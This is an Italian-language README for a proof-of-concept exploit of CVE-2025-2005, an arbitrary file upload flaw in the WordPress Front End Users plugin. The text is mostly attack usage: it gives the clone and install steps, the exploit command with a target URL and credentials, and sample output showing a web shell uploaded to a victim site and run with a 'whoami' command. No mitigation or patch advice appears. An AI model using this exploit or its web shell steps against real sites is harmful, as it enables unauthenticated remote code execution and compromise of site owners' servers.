
WordPress FEUP Exploit di caricamento arbitrario di file (CVE-2025-2005)
Questo repository fornisce un exploit Proof of Concept (PoC) per il plugin WordPress Front End Users (versioni fino alla 3.2.32), che è vulnerabile al caricamento file arbitrario a causa della mancata validazione MIME/tipo di file nel suo modulo di registrazione. Ciò consente ad attaccanti non autenticati di caricare file dannosi (ad es. web shell), portando potenzialmente all'esecuzione remota di codice (RCE) sul server.
/register/
/signup/
pip install requests beautifulsoup4
https://github.com/mrmtwoj/CVE-2025-2005.git
cd CVE-2025-2005
python3 exploit.py --url http://target.com --user hacker --password pass123
[*] Scanning site: http://victim.com
[*] Found 17 pages.
[+] Registration form found at: http://victim.com/register
[*] Uploading shell...
[+] Shell uploaded successfully!
Location ::
http://victim.com/wp-content/uploads/shell.php
http://victim.com/wp-content/uploads/ewd-feup-user-uploads/shell.php
RUN ::
http://victim.com/wp-content/uploads/shell.php?cmd=whoami